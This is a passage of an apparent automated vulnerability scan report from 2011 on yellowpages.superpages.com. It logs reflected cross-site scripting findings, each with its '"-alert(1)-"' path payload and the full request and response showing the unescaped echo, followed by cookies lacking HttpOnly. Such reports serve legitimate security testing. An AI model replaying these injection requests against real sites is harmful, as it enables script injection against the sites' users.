HTTP/1.1 404 /reviews/js/ajaxreviews.js16b42&quot;-alert(1)-&quot;90ac00c6709
Server: Unspecified
Set-Cookie: JSESSIONID=0F2C1426EA2D2BBFB71984CD0E56C453; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:35:03 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
wpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/reviews/js/ajaxreviews.js16b42"-alert(1)-"90ac00c6709?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.111. http://yellowpages.superpages.com/reviews/js/logclick.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /reviews/js/logclick.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 379de"-alert(1)-"93123347901 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /reviews379de"-alert(1)-"93123347901/js/logclick.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /reviews379de&quot;-alert(1)-&quot;93123347901/js/logclick.js
Server: Unspecified
Set-Cookie: JSESSIONID=4C4F8506785984A473A9B8524947C7EA; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:51 GMT
Cache-Control: private
Content-Length: 36083


                       <!--
       
       -->


                                   
...[SNIP]...
rv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/reviews379de"-alert(1)-"93123347901/js/logclick.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.112. http://yellowpages.superpages.com/reviews/js/logclick.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /reviews/js/logclick.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e628d"-alert(1)-"c967b65125d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /reviews/jse628d"-alert(1)-"c967b65125d/logclick.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /reviews/jse628d&quot;-alert(1)-&quot;c967b65125d/logclick.js
Server: Unspecified
Set-Cookie: JSESSIONID=0AFB22647AF905FBE48BA572E2509F50; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:35:03 GMT
Cache-Control: private
Content-Length: 36083


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/reviews/jse628d"-alert(1)-"c967b65125d/logclick.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.113. http://yellowpages.superpages.com/reviews/js/logclick.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /reviews/js/logclick.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66a3d"-alert(1)-"07047fb75a4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /reviews/js/logclick.js66a3d"-alert(1)-"07047fb75a4 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /reviews/js/logclick.js66a3d&quot;-alert(1)-&quot;07047fb75a4
Server: Unspecified
Set-Cookie: JSESSIONID=1ACF9BB55F7200980D5EE25293B5CD5B; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:35:15 GMT
Cache-Control: private
Content-Length: 36083


                       <!--
       
       -->


                                   
...[SNIP]...
llowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/reviews/js/logclick.js66a3d"-alert(1)-"07047fb75a4?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.114. http://yellowpages.superpages.com/se/compositepage.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /se/compositepage.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c297c"-alert(1)-"e7400485e53 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sec297c"-alert(1)-"e7400485e53/compositepage.css HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /sec297c&quot;-alert(1)-&quot;e7400485e53/compositepage.css
Server: Unspecified
Set-Cookie: JSESSIONID=396D5ADBD4D3142B9A631194C0B5FB09; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:33:54 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
ostServ = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/sec297c"-alert(1)-"e7400485e53/compositepage.css?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.115. http://yellowpages.superpages.com/se/compositepage.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /se/compositepage.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9b676"-alert(1)-"7c7f2a5b008 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /se/compositepage.css9b676"-alert(1)-"7c7f2a5b008 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /se/compositepage.css9b676&quot;-alert(1)-&quot;7c7f2a5b008
Server: Unspecified
Set-Cookie: JSESSIONID=EF454397094E37958A6FE11A378F5815; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:02 GMT
Cache-Control: private
Content-Length: 36079


                       <!--
       
       -->


                                   
...[SNIP]...
yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/se/compositepage.css9b676"-alert(1)-"7c7f2a5b008?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.116. http://yellowpages.superpages.com/yp/js/addList.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /yp/js/addList.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 93874"-alert(1)-"5a42a034316 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /yp93874"-alert(1)-"5a42a034316/js/addList.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /yp93874&quot;-alert(1)-&quot;5a42a034316/js/addList.js
Server: Unspecified
Set-Cookie: JSESSIONID=3158E03FC87257FBDA42942A3231293F; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:23 GMT
Cache-Control: private
Content-Length: 36071


                       <!--
       
       -->


                                   
...[SNIP]...
ostServ = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/yp93874"-alert(1)-"5a42a034316/js/addList.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.117. http://yellowpages.superpages.com/yp/js/addList.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /yp/js/addList.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a1fb9"-alert(1)-"1f6ee091e6a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /yp/jsa1fb9"-alert(1)-"1f6ee091e6a/addList.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /yp/jsa1fb9&quot;-alert(1)-&quot;1f6ee091e6a/addList.js
Server: Unspecified
Set-Cookie: JSESSIONID=D78C585477C06ABDFE12EC5A0B25B438; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:40 GMT
Cache-Control: private
Content-Length: 36071


                       <!--
       
       -->


                                   
...[SNIP]...
Serv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/yp/jsa1fb9"-alert(1)-"1f6ee091e6a/addList.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.118. http://yellowpages.superpages.com/yp/js/addList.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /yp/js/addList.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3517"-alert(1)-"9ab61aa91ab was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /yp/js/addList.jse3517"-alert(1)-"9ab61aa91ab HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /yp/js/addList.jse3517&quot;-alert(1)-&quot;9ab61aa91ab
Server: Unspecified
Set-Cookie: JSESSIONID=672734BFB58DFD80247BC648ECB604A3; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:48 GMT
Cache-Control: private
Content-Length: 36071


                       <!--
       
       -->


                                   
...[SNIP]...
p://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/yp/js/addList.jse3517"-alert(1)-"9ab61aa91ab?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.119. http://yellowpages.superpages.com/yp/js/showHide.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /yp/js/showHide.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bbf87"-alert(1)-"52571632a65 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /ypbbf87"-alert(1)-"52571632a65/js/showHide.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /ypbbf87&quot;-alert(1)-&quot;52571632a65/js/showHide.js
Server: Unspecified
Set-Cookie: JSESSIONID=3503703CC4CACD6B2BC941DCABAA2129; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:22 GMT
Cache-Control: private
Content-Length: 36073


                       <!--
       
       -->


                                   
...[SNIP]...
ostServ = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/ypbbf87"-alert(1)-"52571632a65/js/showHide.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.120. http://yellowpages.superpages.com/yp/js/showHide.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /yp/js/showHide.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4eeb8"-alert(1)-"e241847a207 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /yp/js4eeb8"-alert(1)-"e241847a207/showHide.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /yp/js4eeb8&quot;-alert(1)-&quot;e241847a207/showHide.js
Server: Unspecified
Set-Cookie: JSESSIONID=15C47AD265D59EE717AEA5A2D2950B64; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:39 GMT
Cache-Control: private
Content-Length: 36073


                       <!--
       
       -->


                                   
...[SNIP]...
Serv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/yp/js4eeb8"-alert(1)-"e241847a207/showHide.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.121. http://yellowpages.superpages.com/yp/js/showHide.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /yp/js/showHide.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ed951"-alert(1)-"e596cd16daa was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /yp/js/showHide.jsed951"-alert(1)-"e596cd16daa HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /yp/js/showHide.jsed951&quot;-alert(1)-&quot;e596cd16daa
Server: Unspecified
Set-Cookie: JSESSIONID=5BD8F1FDB942096A70CE97B3C572330D; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:48 GMT
Cache-Control: private
Content-Length: 36073


                       <!--
       
       -->


                                   
...[SNIP]...
://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/yp/js/showHide.jsed951"-alert(1)-"e596cd16daa?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next
There are 4 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



2.1. http://yellowpages.superpages.com/listings.jsp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://yellowpages.superpages.com
Path:   /listings.jsp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /listings.jsp?C=florists HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=811F8D88B102DA09441F415B8D96C638; Path=/
Set-Cookie: ck_keyword=florists; Domain=.superpages.com; Expires=Tue, 02-Feb-2016 17:09:55 GMT; Path=/
Set-Cookie: SPC_HP=; Domain=.superpages.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: SPC_LQ=Dallas%7CTX; Domain=.superpages.com; Expires=Tue, 02-Feb-2016 17:09:55 GMT; Path=/
Set-Cookie: cs_image=http://img.superpages.com/images-yp/sp/images/skylines5/tx/dallas-tx.png; Domain=.superpages.com; Expires=Tue, 02-Feb-2016 17:09:55 GMT; Path=/
Set-Cookie: yp=C:florists$; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 473673
Date: Thu, 03 Feb 2011 17:09:57 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="search" lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"
...[SNIP]...

2.2. http://yellowpages.superpages.com/mapbasedsearch/mapsearch.jsp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://yellowpages.superpages.com
Path:   /mapbasedsearch/mapsearch.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /mapbasedsearch/mapsearch.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Pragma: public
Cache-Control: max-age=0
Set-Cookie: JSESSIONID=55EC977DD9EB67DCA2D0895C73715630; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 522
Date: Thu, 03 Feb 2011 17:09:40 GMT
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>
Superpages.com: Map</title>
</head>
<frameset framespacing="0" border="0"
...[SNIP]...

2.3. http://yellowpages.superpages.com/profile.jsp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://yellowpages.superpages.com
Path:   /profile.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /profile.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=34F8CD7F11AAE29FCDCADE0C5D2C054F; Path=/
Set-Cookie: web=; Domain=.superpages.com; Path=/
Set-Cookie: shopping=; Domain=.superpages.com; Path=/
Set-Cookie: yp=; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 56809
Date: Thu, 03 Feb 2011 17:09:50 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<script language="JavaScript" type="text/javascript">
document.cookie="OpenPhones=";
</script>
<h
...[SNIP]...

2.4. http://yellowpages.superpages.com/profiler/abook.jsp  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://yellowpages.superpages.com
Path:   /profiler/abook.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /profiler/abook.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Pragma: public
Cache-Control: max-age=0
Set-Cookie: JSESSIONID=9349333F823CAE7CC6FEBB66A7259273; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 63675
Date: Thu, 03 Feb 2011 17:09:47 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...

3. Cookie scoped to parent domain  previous  next

Summary

